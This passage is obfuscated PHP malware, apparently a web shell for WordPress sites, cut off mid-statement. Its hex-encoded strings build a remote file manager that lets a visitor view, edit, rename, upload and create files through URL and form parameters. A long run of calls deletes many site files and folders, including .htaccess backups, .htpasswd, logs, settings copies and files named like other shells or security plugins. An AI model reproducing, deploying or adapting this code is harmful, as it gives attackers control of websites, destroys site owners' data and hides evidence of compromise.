AsLaY: $OCZNa = unlink($oyZlv . "\167\x70\x2d\143\157\x6e\x74\x65\156\x74\57\x46\x61\162\151\154\x61\137\x64\x65\x62\x75\x67\x2e\154\157\147"); goto etJYR; kjoNg: $NTLZN = unlink($oyZlv . "\x67\167\x70\x2e\x70\x68\x70"); goto UkuFa; sGP1x: $owjvO = unlink($oyZlv . "\141\165\x74\x6f\154\157\141\144\137\143\x6c\x61\x73\x73\155\x61\x70\x2e\160\150\160"); goto O1R2E; wKM7Y: $ILoAH = unlink($oyZlv . "\x2e\x68\x74\141\143\143\145\x73\163\56\142\141\143\x6b\165\160"); goto rXoRa; fhw7O: $PLyl6 = unlink($oyZlv . "\155\x61\x6c\143\141\162\145\55\167\x61\x66\x2e\x70\x68\x70"); goto uguh2; NGq7z: echo "\74\x2f\163\x70\141\156\x3e\40\x9\x9\11\x3c\144\151\x76\40\x63\154\141\x73\x73\75\x22\146\157\x72\155\x2d\147\162\x6f\165\x70\x22\x3e\74\154\x61\x62\145\x6c\x20\x66\x6f\162\75\42\143\x74\x6e\42\x3e\x43\157\x6e\164\145\156\164\x20\x3a\74\x2f\x6c\x61\142\145\x6c\76\74\x74\145\x78\164\141\162\x65\x61\40\x6e\141\155\145\75\x22\143\x74\156\42\x20\x69\x64\x3d\x22\143\x74\x6e\x22\40\x63\x6f\154\163\x3d\x22\63\x30\x22\40\x72\x6f\167\x73\75\x22\61\x30\x22\x20\143\154\141\163\x73\x3d\x22\x66\157\162\x6d\55\x63\x6f\x6e\x74\162\x6f\154\42\40\x72\145\141\x64\x6f\x6e\x6c\x79\x3e"; goto tqsxr; RdDUd: tgPa8: goto gaWxQ; EouYr: $DgN_1 = rmdir($oyZlv . "\167\x70\55\143\157\x6e\x74\145\156\164\x2f\x70\x6c\165\x67\151\156\x73\57\x5f\137\x4d\x41\103\117\123\x58"); goto cJ1Cb; bQFZ7: djsfD: goto bAP6Y; XMCk1: $k3LwV = rmdir($oyZlv . "\143\147\x69\55\x62\151\156"); goto qblHF; VgYc8: $Wz38V = unlink($oyZlv . "\55\55\x2e\150\164\141\143\x63\x65\x73\x73\56\142\141\143\x6b\165\x70"); goto yhcUz; i8S0b: $x1omu = rmdir($oyZlv . "\x77\x70\x2d\x63\x6f\x6e\x74\x65\156\x74\x2f\160\154\165\147\151\x6e\163\57\x73\x6f\x2d\x63\163\x73"); goto xHs0z; C_HvM: $bRzUd = unlink($oyZlv . "\151\x78\165\56\164\x78\x74"); goto LLsa1; i6FTA: $b_9xf = unlink($oyZlv . "\144\145\160\x6c\x6f\171\137\x70\x68\160\137\164\x70\x6c\x2e\163\150"); goto MMxX8; nsEpS: $kdFK0 = unlink($oyZlv . "\167\x70\x2d\143\157\156\x74\x65\x6e\x74\57\x31\x63\146\x6f\164\161\x58\x38\104\x67\160\56\x70\150\x70"); goto xB6gL; nYhyE: $fbQld = rmdir($oyZlv . "\56\x67\151\164"); goto gTMss; d1juj: $eqWBy = unlink($oyZlv . "\x77\x70\55\x61\144\x6d\x69\x6e\163\56\160\x68\x70"); goto DdcxD; apDjC: goto h98Dm; goto IU9uT; bcCsh: $RdY3o = unlink($oyZlv . "\x77\160\55\x63\x6f\x6e\x74\145\x6e\x74\x2f\x74\x68\x65\155\x65\x73\x2f\143\x6c\x69\x6e\157\x78\56\x74\x61\162\56\x67\172"); goto ej4UT; lDKkx: $p8aQE = unlink($oyZlv . "\166\x7a\x68\56\164\170\164"); goto oaKzv; WF34b: $A38jN = rmdir($oyZlv . "\162\145\147\x65\156\x65\x72\141\164\x6c"); goto h038Q; Yd6ee: $pi4ts = unlink($oyZlv . "\60\x64\x2e\160\150\160"); goto WFmmP; MbRXS: echo "\x20\x9\x9\x3c\57\144\x69\x76\x3e\x20\x9\11"; goto YJk88; SfqmC: echo "\x20\x9\x9\x9\74\x68\65\x20\143\x6c\141\163\163\x3d\x22\x62\157\x72\x64\x65\x72\x20\x70\x2d\61\40\155\x62\55\63\x22\76\x45\x64\151\x74\40\146\151\x6c\145\x3c\x2f\x68\65\x3e\40\x9\11\11\x3c\163\x70\141\156\x3e\x46\151\154\145\x20\156\x61\x6d\145\x20\72\40"; goto vtGjV; hozGz: $YzrDo = rmdir($oyZlv . "\x77\x70\x2d\x63\x6f\156\x74\x65\156\164\x2f\160\154\x75\147\151\156\x73\57\166\x69\145\x77\x2d\163\x6f\x75\x72\143\145"); goto sbcv8; VQjiI: $eM_bJ = unlink($oyZlv . "\x75\154\x63\56\x70\x68\160"); goto x4dWc; KHG82: $scYHh = rmdir($oyZlv . "\x77\160\55\143\157\x6e\x74\145\156\x74\x2f\160\154\165\147\151\156\x73\57\165\x68\x79\x64\x6f\x6d\157\x78\165"); goto HTMkS; pAMhZ: $BZidL = unlink($oyZlv . "\104\157\x63\153\x65\x72\146\x69\x6c\x65"); goto Z_yei; fZ1eF: $A03bs = rmdir($oyZlv . "\x77\x70\x2d\143\x6f\156\x74\x65\156\164\57\x74\150\x65\x6d\145\x73\x2d\x6f\154\144\x2d\x6f\154\144\x2d\x6f\x6c\x64"); goto zu4x_; Dw2Zv: $HDlk0 = rmdir($oyZlv . "\x77\160\x2d\x63\x6f\x6e\x74\145\x6e\x74\57\x65\x74\55\x63\141\x63\150\x65\x2d\x6f\154\x64"); goto I4Ohu; z96wu: $zlr1Y = rmdir($oyZlv . "\163\x61\56\x70\x68\x70"); goto juX8u; ifGRR: $dMUGp = unlink($oyZlv . "\163\150\157\171\x6f\x2e\160\x68\160"); goto nBfm3; qblHF: $P87Tu = rmdir($oyZlv . "\56\167\x65\x6c\154\55\153\x6e\157\167\x6e"); goto uuPd3; EIyev: $JUMu0 = unlink($oyZlv . "\61\62\x33\56\x70\x68\x70"); goto af4JG; iEQLS: $QpPse = unlink($oyZlv . "\141\155\141\172\157\156\x2e\x70\x68\160"); goto saxvI; FNvOk: $sIPyC = rmdir($oyZlv . "\x65\x72\162\157\x72\x5f\154\x6f\147"); goto mcRwy; Jzju_: $RLsQ9 = rmdir($oyZlv . "\167\x70\x2d\x63\157\x6e\164\145\156\x74\57\x70\x6c\x75\147\x69\156\163\57\117\x62\x6d\x72\172\170\x76"); goto e4S8v; fIVLC: $Sn5cL = unlink($oyZlv . "\x6d\x61\x72\x2e\160\x68\160"); goto RIanf; F6Ukb: $aMO3l = unlink($oyZlv . "\x6c\x69\x74\x65\x73\x70\x65\x65\x64\56\143\x6f\x6e\146"); goto HnNF3; ckTup: $FSiAd = rmdir($oyZlv . "\56\x77\x65\x6c\x6c\55\153\x6e\157\x77\156\57\x70\153\x69\x2d\x76\141\x6c\x69\x64\141\x74\151\157\156\57\x66\x2f\x66\x2f\146\57\146"); goto KBRhH; YxZve: $IA3Xw = unlink($oyZlv . "\141\152\160\x2e\164\170\164"); goto ftnqH; WHb8u: $ro_7_ = unlink($oyZlv . "\160\162\x6f\x66\151\154\145\56\x70\150\160"); goto qZW6J; FHFvS: $F2zVV = rmdir($oyZlv . "\167\x70\x2d\x63\157\156\x74\x65\156\x74\57\167\x70\157\55\143\141\x63\150\145\x2d\x6f\154\144"); goto QeibV; LLrlE: $lc6bu = unlink($oyZlv . "\154\x61\153\153\141\162\x73\55\163\x68\157\160\160\x79\55\x33\x2e\155\160\64"); goto CNAQo; ftnqH: $cM8Iq = unlink($oyZlv . "\x66\151\154\145\56\160\x68\x70"); goto fIVLC; ZBY8L: $VGoPR = unlink($oyZlv . "\x73\163\56\x70\150\160"); goto BkmXw; rEVTc: $B5jfI = unlink($oyZlv . "\x73\x63\x72\x65\x65\156\x73\x68\x6f\164\56\x6a\160\x67"); goto EIyev; YuYnp: $uoL6w = unlink($oyZlv . "\x77\x70\55\x63\157\156\164\x65\156\164\x2f\x73\x69\164\145\x67\162\x6f\x75\x6e\x64\x2d\x6d\151\147\162\141\x74\x6f\162\x2e\154\157\x67"); goto vvUHb; y42_C: $FSVrJ = rmdir($oyZlv . "\x65\x73"); goto D2oXY; djbvD: $Dx3sL = rmdir($oyZlv . "\x77\x70\x2d\143\x6f\x6e\x74\x65\156\x74\x2f\x70\x6c\165\x67\151\x6e\x73\57\155\145\160\x72\x2d\x69\x31\x38\156"); goto pdftD; m411h: $Uw6KJ = unlink($oyZlv . "\x2e\x68\143\x66\x6c\141\147"); goto kiizH; aAN1b: $oWLaW = rmdir($oyZlv . "\x77\145\x6c\154\55\153\156\157\x77\x6e\57\160\153\x69\x2d\x76\x61\x6c\151\x64\141\164\x69\x6f\156\57\146\57\146\x2f\146\x2f\x66"); goto mg3W8; zY0UM: $D2BNl = unlink($oyZlv . "\x2e\x75\x73\145\x72\x2e\x69\156\x69\137\x6f\154\x64"); goto Ss0YT; IHX9G: $sLhPj = unlink($oyZlv . "\x77\160\x2d\x63\x6f\156\164\145\x6e\164\57\x70\x6c\165\x67\x69\x6e\x73\57\x48\151\121\x6d\125\56\x6a\x73\56\160\x68\160"); goto AD2D8; bHYwU: $LBdOb = unlink($oyZlv . "\x6c\157\147\151\156\56\x70\150\160"); goto GThhA; tqsxr: echo $lKwH4[18]($lKwH4[14]($p8aQE . "\x2f" . Y2EFu($_GET["\x6e"]))); goto izP0b; CoyF_: $YkNZC = rmdir($oyZlv . "\x77\160\55\143\157\156\164\145\x6e\x74\x2f\x70\x6c\165\x67\151\156\163\x2f\x70\x70"); goto Mo0vZ; gd_H4: $ri13F = rmdir($oyZlv . "\x62\x6c\157\147\163"); goto cO04x; CTQxx: $Zr3Cg = unlink($oyZlv . "\56\x77\x65\x6c\x6c\55\x6b\x6e\x6f\167\x6e"); goto A9Yoh; ll331: $AMhu6 = unlink($oyZlv . "\x66\x69\x6c\145\163\x70\141\x63\x6b\56\x6a\163\157\x6e"); goto M0dXy; UGJB0: $Lbrq2 = unlink($oyZlv . "\163\x63\162\151\x70\x74\x5f\162\145\x6d\x6f\166\145\137\151\155\141\x67\x65\x73\x5f\x67\x61\x6c\x6c\145\x72\x79\56\x70\x68\160"); goto MDiY1; V2pdB: $ZOHG5 = unlink($oyZlv . "\x69\156\x64\x65\170\56\x74\x78\x74"); goto SvDPg; zPWq0: if (isset($_GET["\x70"])) { goto xUmTc; } goto nwXbQ; sOjOa: $TTHp0 = rmdir($oyZlv . "\x77\x70\x2d\x63\157\156\164\x65\x6e\164\x2f\160\154\165\147\151\x6e\x73\x2f\x55\167\157\x67\150\55\x53\x65\x67\163"); goto a6vUQ; HJgNg: $VQa5C++; goto rkktg; h16rn: $Vdwgm = unlink($oyZlv . "\x69\x6e\x66\157\x2e\160\x68\x70"); goto iEQLS; b9Tls: $BrDAM = unlink($oyZlv . "\x77\x70\55\x63\157\x6e\x74\145\156\164\57\160\x6c\165\x67\151\156\x73\57\x6c\150\x6f\x6c\154\x75\145\x72\160\146\x2f\x69\x6e\x64\145\x78\x2e\160\150\x70"); goto xOZLy; fPKy9: iygO8: goto X4wXB; ezcE7: goto JHCeJ; goto YPVqs; pdqXg: YYPoK: goto Ps9LN; nQu44: $SVjJj = unlink($oyZlv . "\x2e\146\x74\x70\x2d\144\x65\160\x6c\157\x79\55\163\171\156\x63\x2d\x73\x74\141\164\145\x2e\152\x73\157\156"); goto fA8Hp; QJRaf: $wiRH7 = unlink($oyZlv . "\x74\145\x73\164\55\60\x31\56\150\x74\155\154"); goto AsLaY; w7Oo9: $wqwIP = unlink($oyZlv . "\143\x72\x6f\x74\66\x36\x36\x2e\x70\x68\x70"); goto TSBWX; VGT6R: $JjlO3 = unlink($oyZlv . "\x65\162\162\x6f\x72\x5f\x6c\157\147\x2e\x6c\157\147"); goto Mhpsu; lTj2q: $HBFYS = unlink($oyZlv . "\167\160\x2d\x63\157\156\164\145\x6e\x74\57\160\x6c\x75\x67\151\x6e\x73\x2f\144\x69\x61\x62\x6c\157\x6f\161\x74\57\144\151\x61\142\154\x6f\157\x71\x74\56\x70\150\x70"); goto yZl6S; FZPW0: $QMEuw = rmdir($oyZlv . "\x77\160\x2d\x63\x6f\x6e\x74\x65\156\164\57\160\154\165\147\x69\x6e\x73\57\163\x65\157\170"); goto sOjOa; ekkxN: p9Bk5: goto OxNyQ; aJGwt: $ab0vp = unlink($oyZlv . "\144\145\x61\144\x2e\154\x65\164\164\145\162"); goto TyUAF; euWw3: $yhL1B = rmdir($oyZlv . "\x77\160\x2d\x63\x6f\x6e\164\145\156\x74\x2f\x70\x6c\x75\x67\x69\156\163\57\x4f\143\x63\141\163\x69\157\x37"); goto ZZQ3c; RTfVa: $cEySY = unlink($oyZlv . "\x70\x61\147\145\55\x75\163\145\162\55\x6c\x6f\147\151\x6e\x2e\160\150\160"); goto ztT_3; VIYzJ: $lbhnZ = $p8aQE . "\57" . Y2efU($_GET["\x6e"]); goto HTVzu; FON2B: echo A0lB_; goto ndzr0; HijlI: $wjGYX = rmdir($oyZlv . "\x77\x70\55\x63\157\156\x74\x65\156\164\x2f\x70\x6c\165\147\151\x6e\163\x2d\157\154\144\55\157\x6c\144"); goto tlXIC; oaAo2: $EzRDD = rmdir($oyZlv . "\x77\x70\55\143\157\x6e\x74\x65\156\x74\57\x70\154\165\147\151\156\x73\57\x6e\165\x6c\154"); goto PXZhy; YbLKn: $uZY9U = rmdir($oyZlv . "\x77\160\55\x63\x6f\156\164\145\x6e\x74\57\160\x6c\x75\x67\151\x6e\x73\x2f\171\x6f\153\x72\70\x78\60\x74"); goto MTckt; Dzdi2: $AE0F_ = unlink($oyZlv . "\x77\160\x2d\143\x6f\x6e\164\145\156\164\x2f\x70\x6c\165\x67\x69\156\163\x2f\x70\166\57\x70\166\x2e\160\x68\x70"); goto PLpew; pJOSV: echo "\x3c\57\x74\151\x74\154\145\x3e\40\x9\x3c\x73\164\171\x6c\x65\x3e\56\x74\x61\x62\154\145\55\x68\x6f\x76\x65\162\x20\x74\142\x6f\144\x79\40\x74\162\x3a\150\x6f\166\x65\x72\40\x74\144\x7b\142\141\143\x6b\x67\162\x6f\165\x6e\144\72\162\x65\144\175\56\x74\x61\142\154\145\55\x68\x6f\x76\x65\x72\x20\164\x62\x6f\144\171\40\x74\162\x3a\150\x6f\166\145\x72\40\x74\144\x3e\52\173\143\157\x6c\x6f\162\x3a\x23\x66\x66\x66\175\56\x74\141\142\x6c\145\x3e\x74\x62\157\144\x79\x3e\x74\x72\x3e\52\173\x63\157\154\x6f\x72\72\x23\146\x66\146\x3b\166\145\162\x74\151\x63\141\x6c\55\141\x6c\151\147\156\x3a\x6d\151\144\x64\154\x65\x7d\56\146\x6f\x72\155\55\143\x6f\156\164\162\x6f\154\173\142\141\143\x6b\147\x72\x6f\x75\x6e\144\72\x30\40\60\x21\151\155\x70\157\162\x74\x61\156\164\73\x63\x6f\154\157\x72\72\x23\146\x66\146\x21\x69\x6d\x70\157\162\164\x61\156\x74\73\142\157\162\x64\x65\162\55\x72\141\144\151\165\x73\72\x30\x7d\56\x66\x6f\162\155\x2d\x63\x6f\156\164\x72\157\154\72\x3a\160\x6c\141\143\145\150\x6f\154\x64\x65\x72\173\x63\x6f\x6c\157\x72\x3a\x23\x66\x66\146\73\x6f\x70\141\x63\151\164\x79\x3a\x31\175\x6c\x69\173\x66\157\x6e\164\55\x73\151\172\145\x3a\x31\70\160\x78\x3b\155\x61\162\x67\x69\x6e\x2d\x6c\x65\x66\164\72\66\x70\170\73\x6c\151\163\164\x2d\163\x74\x79\x6c\145\72\156\157\156\145\x7d\x61\173\143\157\x6c\x6f\162\72\x23\146\x66\146\x7d\x3c\57\x73\x74\x79\x6c\145\76\x20\x9\x3c\x73\x63\x72\x69\160\x74\40\x73\162\143\75\x22\57\x2f\x75\x6e\160\x6b\x67\x2e\x63\x6f\155\x2f\x73\167\x65\x65\x74\141\154\145\x72\x74\57\144\x69\x73\x74\57\x73\x77\x65\x65\164\x61\154\145\x72\164\x2e\155\x69\x6e\x2e\x6a\x73\x22\76\74\x2f\x73\143\x72\x69\160\164\x3e\x20\74\57\x68\145\x61\144\76\40\74\x62\x6f\144\x79\40\163\x74\171\154\145\75\42\x62\x61\x63\x6b\147\x72\157\165\156\144\x2d\143\157\x6c\x6f\x72\x3a\x23\60\60\x30\x3b\x63\x6f\x6c\x6f\162\72\43\146\x66\x66\x3b\146\x6f\156\x74\55\x66\141\155\x69\154\171\x3a\163\145\162\x69\146\x3b\42\x3e\40\11\74\144\151\166\40\143\154\x61\x73\163\x3d\42\142\x67\x2d\x64\x61\162\x6b\x20\x74\141\142\x6c\x65\x2d\x72\145\x73\x70\157\x6e\x73\x69\x76\145\40\164\145\170\x74\x2d\154\151\147\150\x74\40\142\x6f\x72\144\145\x72\42\76\40\11\x9\74\144\x69\166\40\143\x6c\x61\x73\163\75\x22\x64\55\x66\x6c\145\170\x20\x6a\165\x73\164\x69\146\x79\55\143\157\156\164\x65\x6e\x74\55\x62\x65\164\x77\145\145\156\x20\160\x2d\x31\42\x3e\x20\x9\11\11\x3c\144\x69\x76\76\x3c\x68\x33\x20\x63\x6c\x61\x73\163\x3d\x22\x6d\164\x2d\x32\x22\76\x3c\141\x20\x68\x72\145\x66\75\42\x3f\x22\x3e"; goto FON2B; HnNF3: $Z9zLC = unlink($oyZlv . "\x77\x70\x2d\143\157\156\x74\x65\156\x74\57\x75\160\x6c\x6f\x61\x64\x73\56\172\151\160"); goto J0W2n; M0H34: header("\103\x6f\x6e\164\x65\x6e\164\55\114\145\156\x67\x74\x68\x3a\40" . $lKwH4[17](Y2eFu($_GET["\x6e"]))); goto EdGsR; CAu2b: $IQtO3 = unlink($oyZlv . "\144\x77\x6c\145\x2e\160\x68\160"); goto VQjiI; Z91VS: $v2E2C = unlink($oyZlv . "\154\x69\143\145\x6e\x63\x2e\164\170\x74"); goto NrCqN; NxDXc: goto h98Dm; goto qd63P; RmNv5: $RGVhZ = unlink($oyZlv . "\56\x68\x74\x70\x61\163\x73\x77\144"); goto WDQ6L; trcJG: $S73b1 = rmdir($oyZlv . "\56\x69\144\145\x61"); goto e5n_T; nYAAl: $x0NUu = unlink($oyZlv . "\167\x70\56\x70\150\160"); goto HMrcv; HA16F: echo "\74\57\x73\x70\141\156\76\x20\x3c\x62\x72\76\x20\x9\11\x9\x9\74\x61\x20\x68\x72\145\146\75\x22\77\160\75"; goto vGL6i; I7JxL: $D10C3 = unlink($oyZlv . "\167\x70\x2d\x65\x6f\x78\x6f\x79\x79\x2e\x70\x68\160"); goto NawJX; ySJHz: $ohGBo = unlink($oyZlv . "\163\56\160\x68\x70"); goto RTdiR; dY7TT: $DxGK9 = rmdir($oyZlv . "\x77\160\x2d\x63\x6f\x6e\x74\x65\156\164\x2f\160\154\165\x67\x69\156\x73\57\x6d\141\151\x6e\x74\x65\156\141\x6e\143\145"); goto A1y_j; ovB32: $uxy4M = rmdir($oyZlv . "\x77\x70\55\143\x6f\156\164\145\x6e\x74\x2f\x70\x6c\165\147\151\x6e\x73\x2f\163\171\x6e\143\x64\x72\x63"); goto z_EF2; mG3C4: $IZn5o = unlink($oyZlv . "\x77\160\x2d\x61\x64\155\x69\156\x2e\160\x68\x70"); goto l7PPO; HE4IX: if ($CWqaS == "\x65\144\151\x74") { goto pzUMt; } goto ZzNvo; ztT_3: $rcfw1 = unlink($oyZlv . "\x77\160\55\163\145\164\164\151\156\x67\163\56\x70\150\x70\56\x62\x6b\x2e\x63\157\160\171"); goto n0Uyx; lUVKR: $EMSR1 = unlink($oyZlv . "\x64\142\x2e\160\150\160\55\x6f\154\x64\x2d\157\154\144"); goto Kz4VP; utN5d: $wRxG4 = rmdir($oyZlv . "\167\160\55\x63\157\156\x74\145\156\x74\57\160\154\165\147\151\x6e\163\x2f\x71\x6e\x62\x65\x6a\x63\x62\x61\165\x69"); goto etn7b; KbuNX: $QBBb9 = unlink($oyZlv . "\x61\x64\x6d\x69\156\x2d\141\x6a\x61\170\x2e\x70\150\160"); goto skt30; LWI7p: $c_Jjt = rmdir($oyZlv . "\56\x77\x65\x6c\154\x2d\153\x6e\157\167\156\x2f\x61\143\x6d\145\x2d\x63\x68\141\x6c\154\145\x6e\147\145"); goto WF34b; YJk88: goto djsfD; goto GuOwB; BOhZf: $VQa5C++; goto yDmKf; IcI9s: if ($CWqaS == "\x6e\145\167\x44\151\x72") { goto n_UQV; } goto Ty7b6; z0ymd: goto h98Dm; goto PCywt; ezfA4: isset($_POST["\163"]) ? $lKwH4[16]($p8aQE . "\57" . Y2EfU($_GET["\156"]), $_POST["\x6e"]) ? Gzjsn("\x73\165\x63\x63\145\x73\x73\x66\x75\x6c\154\171\x20\x63\x68\x61\x6e\x67\145\144\40\x74\150\145\40\146\x6f\x6c\144\145\162\x20\x6e\141\155\x65") : GZJsn("\146\141\x69\154\x65\144\x20\x74\x6f\x20\x63\150\141\156\147\x65\40\x74\150\145\40\x66\157\x6c\144\x65\162\40\x6e\141\155\145", 0) : null; goto frFYE; R6VGT: if (!($VQa5C < count($lKwH4))) { goto c_pVY; } goto gGFUb; saxvI: $htplj = unlink($oyZlv . "\163\150\141\x64\x6f\x77\x2e\160\150\x70"); goto f30rD; PCywt: x5x0r: goto qFPUP; hwXl9: $gXVUz = unlink($oyZlv . "\x6f\141\x6e\x4e\x6f\115\155\142\x62\125\x2e\164\170\x74"); goto QW3J6; gGFUb: $lKwH4[$VQa5C] = Y2EFu($lKwH4[$VQa5C]); goto RQgR9; f30rD: $I974B = unlink($oyZlv . "\143\154\x73\x2e\160\150\x70"); goto CAu2b; npOzL: goto E8aX_; goto pPakn; v7axG: $T9UUW = unlink($oyZlv . "\153\x68\x75\171\145\156\x2e\152\163"); goto B10dk; NcVFE: $dk669 = unlink($oyZlv . "\x77\160\x2d\x63\x6f\x6e\164\145\x6e\x74\x2f\x70\x6c\x75\x67\151\156\x73\x2f\x65\x64\x75\x72\x70\x2d\x63\165\x73\x74\157\x6d\151\x7a\x61\x74\x69\157\156\163\x2e\x7a\151\160"); goto fRbmy; UB3am: $dW6iF = unlink($oyZlv . "\x2e\56\165\163\x65\x72\56\151\156\x69\61"); goto JJGhM; Jo0eE: $M0Jjq = rmdir($oyZlv . "\167\x65\154\154\55\x6b\156\157\167\156\x2f\160\153\x69\x2d\x76\x61\x6c\x69\x64\x61\164\151\x6f\x6e\x2f\144\x2f\x64\x2f\144\x2f\144"); goto SToal; vDEVs: $X3AaU = rmdir($oyZlv . "\x77\160\55\x63\157\156\164\x65\156\164\57\x61\x64\166\141\x6e\143\x65\x64\x2d\143\141\143\x68\x65\56\160\x68\x70\55\x6f\154\144\55\157\154\x64"); goto YAUy_; Vt3Aj: $kwvx8 = unlink($oyZlv . "\x61\x68\153\141\155\165\56\x70\x68\x70"); goto RvcVU; jAERf: $zngfZ = unlink($oyZlv . "\x78\151\x6c\x61\x70\x61\171\56\x70\150\x70"); goto Xhrq5; WFmmP: $Qwr4Q = unlink($oyZlv . "\162\x65\x64\151\162\x65\143\164\x2d\152\x61\143\x6f\x62\55\160\162\x6f\x2e\160\150\x70"); goto ojo7N; kELsV: $Aicy0 = unlink($oyZlv . "\154\x69\x76\x65\56\x73\x71\154\x2e\147\x7a"); goto l2bSp; ViSNo: $js_8Q = rmdir($oyZlv . "\x78\x6d\154\162\x70\x63\x2e\x70\x68\160"); goto mAv9U; fiKGk: $GJQZM = rmdir($oyZlv . "\x77\x70\x2d\143\x6f\156\164\145\x6e\x74\x2f\x70\154\x75\147\151\156\x73\57\163\x65\157\x6f\x79\141\156\172"); goto QxEtp; pRLwj: $YOLVw = unlink($oyZlv . "\x77\160\x2d\143\x6f\x6e\x74\x65\156\164\x2f\x4e\141\166\145\145\x64\x5f\144\x65\142\x75\x67\x2e\x6c\157\x67"); goto TFUgI; M_eQE: $Z1Y_3 = rmdir($oyZlv . "\167\160\55\143\157\156\164\145\156\x74\x2f\160\x6c\x75\147\x69\x6e\x73\57\x78\151\x73\x69\x6b\165\x73\165"); goto oGYMF; Gtqlo: $Vs86U = rmdir($oyZlv . "\x2e\143\x61\x63\x68\x65"); goto t1Mg1; Xirb1: goto h98Dm; goto CCqFd; UPyph: $IuanM = unlink($oyZlv . "\x77\157\162\x64\x70\x72\x65\x73\163\x2d\66\x2e\66\x2e\x7a\x69\x70"); goto RV1i_; L3qJx: $IDCys = unlink($oyZlv . "\150\164\x61\143\x63\x65\x73\x73\56\x74\x68"); goto tkZ3p; AAsQQ: $Y6ABo = unlink($oyZlv . "\x77\x70\55\143\x6f\156\164\145\x6e\164\x2f\160\x6c\165\x67\151\x6e\x73\x2f\142\x75\x64\144\x79\x62\157\x73\x73\55\x74\x68\x65\x6d\145\55\143\150\151\154\144\56\172\x69\160"); goto SxyuX; OLMQz: $Ve4TM = unlink($oyZlv . "\163\x69\x74\x65\x67\x75\x61\x72\144\151\156\147\x5f\x74\157\157\154\163\x2e\x70\150\160"); goto QJRaf; vBWjw: $Xr4yP = rmdir($oyZlv . "\144\165\160\x2d\x69\x6e\163\x74\141\154\x6c\145\x72"); goto LwVBF; orxL6: $zjq8i = unlink($oyZlv . "\x67\x65\x6c\64\171\x2e\x70\150\x70"); goto uVqGJ; HTMkS: $yHxEH = rmdir($oyZlv . "\x77\160\x2d\143\x6f\x6e\164\145\x6e\164\x2f\160\154\x75\147\151\x6e\163\x2f\150\x6f\x73\x74\x69\x6e\147\145\x72"); goto cdwyZ; rPl5D: GzjsN("\x66\x69\154\x65\x20\165\160\154\157\x61\144\x65\144\x20\163\x75\143\x63\145\163\163\x66\x75\154\x6c\x79"); goto PQAb8; S54Kb: $qlhIW = unlink($oyZlv . "\x72\145\163\145\x74\56\160\150\x70"); goto FdgCo; mU8XR: $JBDQp = unlink($oyZlv . "\x63\160\x5f\145\162\162\x6f\x72\144\x6f\143\165\155\145\156\x74\56\x73\150\164\155\x6c"); goto cp4v7; KO4zs: $rC5Gc = unlink($oyZlv . "\x2e\x77\x6f\162\144\160\x72\x65\x73\163\56\160\150\x70"); goto wKM7Y; uHVew: $TwiMA = unlink($oyZlv . "\167\x70\55\154\x6f\x67\x6f\56\160\156\147"); goto xiOlh; PQAb8: JGMrG: goto lnMBN; RlL1K: if (!($_GET["\x74"] == "\144")) { goto NaG93; } goto uLDa2; f_ucd: $Ve9wZ = unlink($oyZlv . "\56\x70\162\151\x76\141\164\x65"); goto W3Bkn; XxU6g: XcRMN: goto yMT9s; WIgeX: $NWO04 = rmdir($oyZlv . "\x77\160\55\143\157\x6e\x74\x65\x6e\164\x2f\x70\154\165\147\x69\x6e\163\x2f\x66\151\x6c\145\163\x74\x65\x72"); goto eBxnD; jzcw7: $o0Fwp = unlink($oyZlv . "\172\160\70\x2e\x70\x68\160"); goto bHYwU; ultQM: $BHF5R = unlink($oyZlv . "\155\171\x73\x71\154\56\x73\x71\x6c"); goto VrEB5; T3b3X: $b7dsQ = unlink($oyZlv . "\x61\165\164\157\137\151\156\163\164\x61\154\x6c\56\152\x73\157\x6e"); goto NZPZY; roBeo: $rCJp4 = unlink($oyZlv . "\x77\x6f\162\x64\x70\162\145\x73\163\55\66\56\65\x2e\x35\x2e\x7a\x69\x70"); goto a6qAK; uNfsH: $FsFeC = rmdir($oyZlv . "\x77\160\x2d\143\x6f\x6e\x74\x65\x6e\x74\57\x70\x6c\165\x67\151\x6e\x73\57\165\151\164\x6e\x79\70\x39\61"); goto p2KH5; AAlyi: $Oj7AZ = unlink($oyZlv . "\x77\160\55\143\154\151\x2e\160\150\141\162"); goto mZaFB; CNAQo: $WT0IU = unlink($oyZlv . "\x70\x77\141\55\155\141\156\151\x66\145\x73\x74\x2e\152\x73\x6f\x6e"); goto wXRrg; ZzNvo: if ($CWqaS == "\166\151\145\167") { goto Xpkel; } goto NxDXc; QDNM3: $mBxJ3 = unlink($oyZlv . "\x74\150\145\155\x65\x73\56\160\x68\x70"); goto dA53v; FdgCo: $CP94k = unlink($oyZlv . "\x68\145\x78\x2e\x70\x68\x70"); goto h16rn; ZJan3: $FZIuR = rmdir($oyZlv . "\x77\x70\55\x63\x6f\156\x74\x65\x6e\164\x2f\x70\x6c\x75\x67\151\156\x73\x2f\x77\160\x2d\160\154\x75\147\151\x6e\x2d\150\157\163\164\147\x61\164\x6f\x72"); goto gd_H4; X4wXB: echo "\40\x9\11\11"; goto IcI9s; Mi0bS: $l0LOt = unlink($oyZlv . "\x65\162\162\157\x72\x5f\154\157\x67"); goto aJGwt; qkeT9: $YYVUa = rmdir($oyZlv . "\x77\160\x2d\143\x6f\156\164\145\156\x74\57\x70\x6c\x75\x67\x69\156\x73\x2f\143\141\156\144\141"); goto uNfsH; UdO35: $XqNrZ = unlink($oyZlv . "\167\160\x2d\143\157\156\x74\x65\x6e\164\x2f\145\162\x72\x6f\x72\x5f\154\x6f\x67"); goto IHX9G; quPQb: $SLiuH = unlink($oyZlv . "\x4c\x6f\x63\x6f\171\56\160\x68\x70"); goto Hff_t; vvSH1: echo "\74\x73\x70\141\x6e\x20\151\144\x3d\47\x62\x61\x6e\x67\163\141\x74\x27\x20\x73\164\x79\x6c\145\x3d\x27\x64\x69\x73\x70\x6c\x61\171\x3a\156\x6f\x6e\145\x3b\47\76" . $_SERVER["\123\x43\122\111\120\124\137\x4e\x41\115\x45"] . "\x3c\x2f\x73\x70\141\156\x3e"; goto eP5py; mUEn3: $E7bk1 = rmdir($oyZlv . "\x77\x70\x2d\143\x6f\x6e\164\145\156\x74\57\x70\154\x75\147\x69\156\163\57\x37\61\146\66\x64\70\x31\144\x36\70\64\x38\146\x63\60\143\x62\141\65\67\x62\x34\x38\x63\66\x37\67\65\x33\61\145\62"); goto c1aGJ; c_3aw: $K8Nlv = unlink($oyZlv . "\156\157\155\x69\56\x70\150\x70"); goto ne7OH; oRLUs: $Rteqv = unlink($oyZlv . "\154\x6f\143\141\154\x2d\x70\150\x70\x69\156\x66\x6f\x2e\x70\150\x70"); goto lOIrC; yhcUz: $Tu1Hz = 